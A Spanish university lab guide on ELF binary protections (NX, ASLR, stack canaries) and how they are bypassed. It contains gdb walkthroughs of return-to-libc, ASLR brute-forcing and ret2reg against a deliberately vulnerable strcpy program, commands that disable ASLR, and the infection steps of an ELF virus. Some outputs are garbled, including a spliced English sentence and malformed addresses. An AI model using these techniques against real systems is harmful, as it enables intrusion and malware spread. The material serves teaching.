

SEGURIDAD EN SISTEMAS OPERATIVOS

4º Grado en Informática

Curso 2017-18

Práctica 2.- Ingeniería inversa en Linux

Sesión 2.- Explotaciones y protecciones del formato ELF

Objetivos:

- Conocer las posibles explotaciones del un binario ELF y como se protegen
 - Ver cómo podemos infectar con un virus un ELF.
-

1.- Explotaciones y protección de un binario ELF

Los ejecutables en Linux tienen varios mecanismos empotrados para protegerse frente a ataques maliciosos de desbordamiento de búfer. Algunos de ellos implementados en el kernel otros como parte de las herramientas de compilación. Estos son:

- a) Aleatorización de la disposición del espacio de direcciones (ASLR) – kernel. Además, para
- b) obtener ventaja de ASLR, los programas deben construirse de forma independiente de la posición (PIE - *Position Independent Executable*) con la opción `-fPIE` (esta opción tiene una penalización entre un 5 a 10% en arquitecturas con pocos registros).
- c) Protección de pila ejecutable – compilador.
- d) Protección de rotura de pila – compilador (más información en <https://access.redhat.com/blogs/766093/posts/1976213>).
- e) Ejecutables independientes de la posición (PIE) – compilador.
- f) Fuente fortificada - compilador.
- g) Protector de pila – compilador (ver http://wiki.osdev.org/Stack_Smashing_Protector).

- Pila no ejecutable

Para hacer la pila no ejecutable, podemos usar el bit XD (eXecute Disable, para Intel) o el bit NX (No eXecute, de AMD). Este es el bit más significativo de una *Entrada de Tabla de Páginas* (PTE) que indica si la correspondiente página es ejecutable (NX=0) o no (NX=1). De esta forma, si intentamos desbordar la pila ejecutando un *shellcode*¹ este no comportará como se espera.

Con la orden `readelf -l` podemos ver si la pila es o no ejecutable. En mi sistema, se puede observar que la pila es ejecutable (tiene los permisos `rwe`)

¹ Un *shellcode* es un conjunto de instrucciones (generalmente traducidas a *opcodes*) utilizadas como carga en la explotación de una vulnerabilidad cuyo destino es insertarlas en la pila de un programa para que éste realice la operación programada, normalmente lanzar un *shell*.

```
% readelf -l miejecutableELF
```

El tipo del fichero elf es EXEC (Fichero ejecutable)

Punto de entrada 0x8063000

Hay 5 encabezados de programa, empezando en el desplazamiento 52

Encabezados de Programa:

Tipo	Desplaz	DirVirt	DirFísica	TamFich	TamMem	Opt	Alin
LOAD	0x000000	0x08048000	0x08048000	0x60bb00	0x6725c0	RWE	0x1000
NOTE	0x5c6000	0x0860e000	0x0860e000	0x00020	0x00020	R E	0x4
TLS	0x60baec	0x08653aec	0x08653aec	0x00014	0x0002c	R	0x4
GNU_STACK	0x000000	0x00000000	0x00000000	0x00000	0x00000	RWE	0x4
LOOS+5041580	0x000000	0x00000000	0x00000000	0x00000	0x00000		0x4

mapeo de Sección a Segmento:

. . .

Podemos cambiar los permisos de la pila con el programa **exestack -s [binario]** o con la opción de compilación **-z execstack**.

Para sobrepasarlo se puede utilizar un método denominado “Return-into-libc”². Sabemos que cualquier programa que usa libc tiene acceso a sus funciones compartidas (printf, exit, etc.) y puede usar “system(“/bin/sh”)” para obtener un shell.

Primero, rellenamos el búfer vulnerable con datos basura hasta EIP, “AAAAAAAAHH---” puede ser adecuado. Después, encontramos la función `system()`, además será necesaria la función `exit()` si deseamos finalizar el programa correctamente, también necesitamos (usando gdb):

```
(gdb) r main
Starting program: /home/fluxius/toto main
Hola mundo.
Program exited with code 017.
(gdb) p system
$1 = {<text variable, no debug info>} 0x7ffff6b8a134 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x7ffff6b81890 <exit>
```

Entonces, reescribimos la dirección de retorno con la dirección de la función `system()` y a continuación la de `exit()`. Para finalizar, ponemos la dirección de `/bin/sh` (que podemos recuperar de un `memcmp()` o una variable de entorno).

```
Injectar= [basura][system()][exit()][“/bin/sh”]
```

Nota: El *bit NX* sólo esta disponible en PAE (Physical Address Extension) pero puede emularse mediante PaX³ o ExecShield⁴.

.

² Ver artículo de Firas Kraïem “Return-to-libc”, de disponible en <http://blog.fkraiem.org/2013/10/26/return-to-libc/>.

³ Parche de Linux para fortalecer en sistema (https://wiki.gentoo.org/wiki/Hardened/PaX_Quickstart).

⁴ Mecanismo que suministra protección contra exploits de pila, búfer, desbordamiento de punteros a función, y otros tipos de amenazas que descansan en la sobre-escritura de estructuras de datos (<https://lwn.net/Articles/31032/>)

Además, en plataformas `x86_64 return-into-libc` no funciona debido a la especificación ABI⁵.

- Aleatorización de la disposición espacio de direcciones

Para evitar que un atacante ejecute un *shellcode*, se ha creado el mecanismo ASLR (*Address Space Layout Randomization*), que consiste en re-organizar la ubicación de las regiones de un proceso: pila, el heap, texto, vdso, librerías compartidas, y la dirección base del ejecutable -cuando se construye con soporte para código independiente de la ejecución, opción de compilación `-fPIC`. De esta forma, si construimos un *shellcode* con una posición fija, observaremos un error, dado que no puede ejecutarse y obtendremos un “Segmentation fault”.

Se puede suprimir temporalmente el valor de aleatorización utilizado por nuestro sistema escribiendo un 0 en el archivo `/proc/sys/kernel/randomize_va_space`:

```
% echo 0 > /proc/sys/kernel/randomize_va_space
```

Los valores que admite este parámetro son:

- 0 Deshabilita ASLR
- 1 Aleatoriza las posiciones de la pila, la página *vdso* (*Virtual Dynamic Shared Object*⁶), y las regiones de memoria compartidas. La dirección base del segmento de datos se ubica inmediatamente después del final de segmento de código ejecutable.
- 2 Aleatoriza las posiciones de la pila, página *vdso*, regiones de memoria compartidas y el segmento de datos. Es el valor por defecto.

El cambio se puede hacer permanente, añadiendo la línea “`kernel.randomize_va_space = valor`” al archivo `/etc/sysctl.conf` y ejecutando `sysctl -p`. Si es necesario, podemos deshabilitarlo para un proceso y sus hijos con la orden `setarch `uname -m` -R program [args ...]`.

Para ver la aleatorización del espacio de direcciones, podemos construir el siguiente programa de prueba, que podemos denominar *buffer_addr*:

```
main() {  
    char buffer[100];  
    printf("Dirección del buffer: %p\n", &buffer);  
}
```

Si esta activo ASLR, diferentes ejecuciones del programa producirán diferentes direcciones.

Si embargo, aún con esta técnica, un atacante podría utilizar una técnica de fuerza bruta. Podemos modificarlo para incluir una función `exec()` y ver alguna debilidad en la aleatorización del espacio del proceso. El programa *weakaslr* sería:

```
main() {
```

⁵ System V Application Binary Interface on x86-64 – disponible en <http://www.x86-64.org/documentation/abi.pdf>.

⁶ Vdso es una librería que permite acelerar la ejecución de ciertas llamadas al sistema que no necesariamente deben enecutarse en modo kernel. Más información en <https://lwn.net/Articles/615809/>.

```

    int stack;
    printf("Dirección de la pila: %p\n", &stack);
    execl("./buffer_addr", "buffer_addr", NULL);
}

```

Podemos comparar diferentes ejecuciones de ambos programas. Por ejemplo, para *buffer_addr*:

```

$ ./buffer_addr
Buffer address: 0x7ffc5cfa180
$ ./buffer_addr
Buffer address: 0x7ff1964d1f0
$ ./buffer_addr
Buffer address: 0x7ffba20bd30
$ ./buffer_addr
Buffer address: 0x7ffc8505ed0
$ ./buffer_addr
Buffer address: 0x7fff39cbc10
$ ./buffer_addr
Buffer address: 0x7ff6eb3aa90
$ gdb -q --batch -ex "p 0x7ffc5cfa180 - 0x7ff1964d1f0"
$1 = 2892681104
$ gdb -q --batch -ex "p 0x7ffc8505ed0 - 0x7ffba20bd30"
$1 = 238002592
$ gdb -q --batch -ex "p 0x7fff39cbc10 - 0x7ff6eb3aa90"
$1 = 2229866880

```

Ejecuciones del programa *weakaslr*:

```

$ ./weakaslr
Stack address: 0x7ff526d959c
Buffer address: 0x7ff2e95efd0
$ gdb -q --batch -ex "p 0x7ffa9cde50 - 0x7ff54800abc"
$1 = 1534907284
$ ./weakaslr
Stack address: 0x7ffed12acfc
Buffer address: 0x7ffa3a4f8f0
$ gdb -q --batch -ex "p 0x7ffdaf7d5fc - 0x7ff08361da0"
$1 = 3535911004 If we dig a little bit more, we can reduce the domain
of probabilistic addresses using "/proc/self/maps" files (local
bypass), as shown below:
$ ./weakaslr
Stack address: 0x7ffffbe8326c
Buffer address: 0x7ff792120c0
$ gdb -q --batch -ex "p 0x7ffffbe8326c - 0x7ff792120c0"
$1 = 2194084268
$ ./weakaslr
Stack address: 0x7ffed12acfc
Buffer address: 0x7ffa3a4f8f0
$ gdb -q --batch -ex "p 0x7ffed12acfc - 0x7ffa3a4f8f0"
$1 = 1231926284

```

De esta forma, podríamos rellenar el búfer con la dirección de retorno, añadir algunas operaciones *NOP* tras la dirección de retorno más el *shellcode* y adivinar cualquier desplazamiento correcto, para apuntar a él. Como podemos ver el grado de aleatorización no es el mismo, pero podemos jugar con él. Por supuesto que este ataque es más efectivo en arquitecturas de 32 bits y viejas versiones del kernel.

Podemos reducir el dominio de direcciones probables utilizando el archivo `/proc/self/maps`. Desafortunadamente, esta debilidad fue parcialmente parcheada a partir de la versión 2.6.27, y estos archivos están protegidos si no podemos trazar un proceso con `ptrace`. En cualquier caso, existen otros métodos, que permiten obtener información como el puntero de pila y de instrucciones (`ps -eo pid,eip,esp,wchan`) o muestreando “kstkeip”, de forma que podemos reconstruir la información de maps (ver `fuzzyaslr` de Tavis Ormandy⁷).

- Volviendo a los registros

La fuerza bruta es costosa en tiempo y nos obliga a anotar todos los intentos. La solución puede estar en los registros. Utilizando un depurador, podemos encontrar una forma de saltar algunas protecciones como *DEP* como mostrábamos en el apartado de *ASLR*.

Partamos del siguiente ejemplo:

```
#include <stdio.h>
#include <string.h>
vuln(char* string)
{
    char buffer[50];
    strcpy(buffer, string); /* Esto es vulnerable! */
}

main(int argc, char** argv)
{
    if (argc > 1)
        vuln(argv[1]);
}
```

Para su uso, no debemos olvidar deshabilitar el protector de pila, es decir, debemos compilarlo con

```
% gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 vuln2.c
-o vuln2
```

Con algunos intentos podemos ver que es posible reescribir el contador de programa (puntero de instrucciones):

```
(gdb) run `python -c 'print "A"*78'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/fluxix/aslr/vuln2 `python -c 'print "A"*78'`
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
```

Ponemos ahora un punto de ruptura en la llamada a la función `vuln()` y la dirección de retorno:

```
(gdb) disas main
Dump of assembler code for function main:
0x0000000000400515 <+0>: push    %rbp
0x0000000000400516 <+1>: mov     %rsp,%rbp
0x0000000000400519 <+4>: sub     $0x10,%rsp
0x000000000040051d <+8>: mov     %edi,-0x4(%rbp)
0x0000000000400520 <+11>: mov     %rsi,-0x10(%rbp)
0x0000000000400524 <+15>: cmpl    $0x1,-0x4(%rbp)
```

7 Fuzzy ASLR en <http://code.google.com/p/fuzzyaslr/>

```

0x00000000000400528 <+19>:    jle      0x40053d <main+40>
0x0000000000040052a <+21>:    mov      -0x10(%rbp),%rax
0x0000000000040052e <+25>:    add      $0x8,%rax
0x00000000000400532 <+29>:    mov      (%rax),%rax
0x00000000000400535 <+32>:    mov      %rax,%rdi
0x00000000000400538 <+35>:    callq    0x4004f4 <vuln>
0x0000000000040053d <+40>:    leaveq
0x0000000000040053e <+41>:    retq     (gdb) break *0x0000000000040053e
Breakpoint 2 at 0x40053e
End of assembler dump.
(gdb) break *0x400538
Breakpoint 1 at 0x400538
(gdb) break *0x0000000000040053e
Breakpoint 2 at 0x40053e

```

Tras lo cual ponemos un break en la dirección de retorno de vuln():

```

(gdb) disas vuln
Dump of assembler code for function vuln:
0x000000000004004f4 <+0>: push     %rbp
0x000000000004004f5 <+1>: mov     %rsp,%rbp
0x000000000004004f8 <+4>: sub     $0x50,%rsp
0x000000000004004fc <+8>: mov     %rdi,-0x48(%rbp)
0x00000000000400500 <+12>: mov     -0x48(%rbp),%rdx
0x00000000000400504 <+16>: lea     -0x40(%rbp),%rax
0x00000000000400508 <+20>: mov     %rdx,%rsi
0x0000000000040050b <+23>: mov     %rax,%rdi
0x0000000000040050e <+26>: callq   0x400400 <strcpy@plt>
0x00000000000400513 <+31>: leaveq
0x00000000000400514 <+32>: retq
End of assembler dump.
(gdb) break *0x00000000000400514
Breakpoint 3 at 0x400514

```

Y podemos ver que RSP contiene la dirección de retorno:

```

(gdb) info reg rsp
rsp                0x7ffffffe148    0x7ffffffe148
(gdb) x/20x $rsp - 40
[...]
0x7ffffffe140: 0x00000000  0x00000000  0x0040053d  0x00000000
[...]

```

La dirección de retorno ha sido sobrescrita:

```

(gdb) info reg rsp
rsp                0x7ffffffe148    0x7ffffffe148
(gdb) x/20x $rsp - 40
0x7ffffffe120: 0x41414141  0x41414141  0x41414141  0x41414141
0x7ffffffe130: 0x41414141  0x41414141  0x41414141  0x41414141
0x7ffffffe140: 0x41414141  0x41414141  0x41414141  0x00004141
0x7ffffffe150: 0xffffe248  0x00007fff  0x00000000  0x00000002
0x7ffffffe160: 0x00000000  0x00000000  0xf7a66eff  0x00007fff

```

Ejecutando desde el último punto de ruptura, podemos observar que el registro RAX apunta al principio del búfer:

```

(gdb) stepi

```

```

0x000000000004004f8 in vuln ()
(gdb) info reg rax
rax                0x7ffffffe520    140737488348448
(gdb) x/20x $rax - 40
0x7ffffffe4f8: 0x36387816  0x0034365f  0x00000000  0x2f000000
0x7ffffffe508: 0x656d6f68  0x756c662f  0x78756978  0x6c73612f
0x7ffffffe518: 0x75762f72  0x00326e6c  0x41414141  0x41414141
0x7ffffffe528: 0x41414141  0x41414141  0x41414141  0x41414141
0x7ffffffe538: 0x41414141  0x41414141  0x41414141  0x41414141

```

Si no estamos seguros, podemos probar con la carga ``python -c 'print "A"*70+"B"*8'``.

Tras lo cual, nos fijamos en un válido `"jmp/callq rax"`:

```

$ objdump -d ./vuln2 | grep "callq"
4003cc:  e8 6b 00 00 00          callq  40043c <call_gmon_start>
[...]
400604:  ff d0                  callq  *%rax
..

```

La dirección `"0x400604"` sería estupenda, solo debemos sustituir el dato basura `"A"` por un NOP y un shellcode que encaje en el búfer y sustituiremos el puntero de instrucción por la dirección anterior. Si estamos interesados en arquitecturas de 32 bits, podemos ver el artículo de Sickness `"ASLR bypass using ret2reg"` en http://www.exploit-db.com/download_pdf/17049.

- Stack Canary

La técnica *Stack Canary* (canario de pila) esta pensada para la protección frente a un ataque de desbordamiento de búfer. Para ello, el programa se compila con la opción de protección de la pila (que se usa por defecto), de forma que cada función peligrosa se compila con este prólogo y epílogo.

Si compilamos el código anterior con la opción por defecto, protección de la pila, obtendremos algo del tipo:

```

$ gcc -z execstack -mpreferred-stack-boundary=4 vuln2.c -o vuln3
$ ./vuln3
$ ./vuln3 `python -c 'print "A"*76'`
*** stack smashing detected ***: ./vuln3 terminated

```

Desensamblando la función `vuln()`, podemos ver que comparación se hace en el epílogo:

```

(gdb) disas vuln
Dump of assembler code for function vuln:
[...]
0x0000000000040058d <+41>:  callq  0x400470 <strcpy@plt>
0x00000000000400592 <+46>:  mov     -0x8(%rbp),%rdx
0x00000000000400596 <+50>:  xor     %fs:0x28,%rdx
0x0000000000040059f <+59>:  je      0x4005a6 <vuln+66>
0x000000000004005a1 <+61>:  callq  0x400460 <__stack_chk_fail@plt>
0x000000000004005a6 <+66>:  leaveq
[...]

```

Si el valor en `"fs:0x28"` es el mismo que el `"%rdx"`, la función `vuln()` terminará adecuadamente. En otro caso, se invocará a la función `"__stack_chk_fail()"` y se muestra un mensaje de error

“*** stack smashing detected ***: ./vuln3 terminated”.

Si ponemos un punto de ruptura en “__stack_chk_fail()” podemos observar los valores de %RSP:

```
(gdb) run `python -c 'print "A"*57'`
Starting program: /home/fluxix/aslr/vuln3 `python -c 'print "A"*57'`

Breakpoint 1, 0x00000000004005cb in main ()
(gdb) c
Continuing.
Breakpoint 2, 0x00000000004005a1 in vuln ()
(gdb) x/30x $rsp
0x7fffffffef100: 0x00000000 0x00000000 0xffffe535 0x000007ff
0x7fffffffef110: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffef120: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffef130: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffef140: 0x41414141 0x41414141 0xbf630041 0xe3b6079a
0x7fffffffef150: 0xffffe170 0x000007ff 0x004005d0 0x00000000
0x7fffffffef160: 0xffffe258 0x000007ff 0x00000000 0x00000002
0x7fffffffef170: 0x00000000 0x00000000
```

En “=x7fffffffef148” hemos reescrito un byte de la *stack cookie* salvada en RSP (esto es por lo que el punto de ruptura 2 paró __stack_chk_fail()). En 0x7fffffffef158, veremos la dirección de retorno del main. De forma que la estructura del canario tiene la forma de la Figura:

<u>RIP</u> salvado
<u>RBP</u> salvado
Canario
Variables locales

Hay tres clases de canarios:

- Null (0x0)
- Terminador (dejando los primeros bytes a \ao\xff)
- Aleatorio

Los dos primeros son fáciles de sobrepasar⁸, para los de tipo aleatorio la función __guard_setup() rellena una variable global con bytes generados por /dev/random, si es posible. Más tarde en el programa, solo 4 u 8 bytes se utilizan para establecer la cookie. Pero, si no podemos usar la entropía de /dev/urandom, por defecto obtendremos un terminador o cookie nula.

Ejercicio 1.- Para el sistema que utilizas, indica la arquitectura, distribución y compilador que utilizas e indica que protecciones se utilizan de cara a proteger un binario ELF.

⁸ Stack Smashing Protector (FreeBSD) - <http://www.hackitoergosum.org/2010/HES2010-prascagneres-Stack-Smashing-Protector-in-FreeBSD.pdf>

2.- Infección de un archivo ELF

A pesar de las protecciones propuestas es posible infectar un binario ELF. Para verlo, vamos a utilizar el virus lx3k2⁹. El objetivo es mostrar cómo se puede llevar a cabo la infección no realizar ninguna carga maligna. Hemos de tener presente que el propósito es educacional y que por tanto debemos limitar su ejecución a un subdirectorio de nuestro *home*, así como utilizarlo de forma responsable para que no se vea afectado el sistema.

La estructura del virus que vamos a ver es la siguiente:

1. Se lee el mismo en memoria.
2. Determina nuestro UID efectivo
3. Escanea el directorio que le hallamos indicado en busca de archivos a infectar.
4. Si encuentra un archivo ejecutable lo infecta siguiendo el siguiente método:
 - a) Crea un archivo temporal y escribe el mismo en él.
 - b) Añade el archivo huésped al archivo temporal
 - c) Añade un número mágico para identificar el fin del archivo
 - d) Sustituye el archivo original con el archivo temporal.
5. Ejecuta la carga si somos el root.
6. Crea un archivo temporal y guarda el programa huésped añadido a él
7. Ejecuta el archivo temporal.
8. Borra el archivo temporal.

El código del virus, junto al el script para limpiarlo, están disponibles para su descarga en la plataforma docente junto a esta guía de prácticas.

Ya solo nos restan, los siguientes pasos:

- a) Sustituir en las invocaciones a la función `searchForELF()` el directorio que aparece por un subdirectorio de nuestro *home*, donde tendremos algún programa ejecutable de prueba.
- b) Compilar el virus y ejecutarlo.

Ejercicio 2.- Podemos mejorar el siguiente virus:

- a) Escribiendo un mejor scanner/limpiador para él.
 - b) Añadir `#ifdef` para comprobar la arquitectura de forma que cambie de forma automática el valor `EM_386` en tiempo de compilación para adaptarlo al sistema donde estemos.
-

Bibliografía

- [You95] Eric Youngdale, "The ELF Object File Format by Dissection", *Linux Journal*, 1 de mayo de 1995, disponible en <http://www.linuxjournal.com/article/1060>.
- [Bat12] BatchDrake, "Infección de ejecutables en Linux: ELF y código PIC (1/6)", *Security by Default*, Abril 2012, disponible en <http://www.securitybydefault.com/2012/04/infeccion-de-ejecutables-en-linux-elf-y.html>

⁹ Ver <http://academicunderground.org/virus/pnlVirus4.html> o bien el artículo de Himanshu Arora "ELF Virus. Part I" de Linux Joournal, de Enero de 2012, disponible en <http://porky.linuxjournal.com:8080/LJ/213/11185.html>.

